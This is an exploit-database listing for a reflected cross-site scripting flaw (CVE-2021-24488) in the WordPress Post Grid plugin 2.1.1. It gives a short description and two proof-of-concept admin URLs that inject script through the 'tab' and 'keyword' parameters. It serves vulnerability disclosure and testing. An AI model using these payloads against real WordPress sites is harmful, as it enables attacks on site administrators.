Wordpress plugin post grid 2.1.1 cross site scripting (xss) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-02-02 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin post grid 2.1.1 cross site scripting (xss) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/post-grid/
# Version: 2.1.1
# Tested on: Windows 10
# CVE: CVE-2021-24488

1. Description:
This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//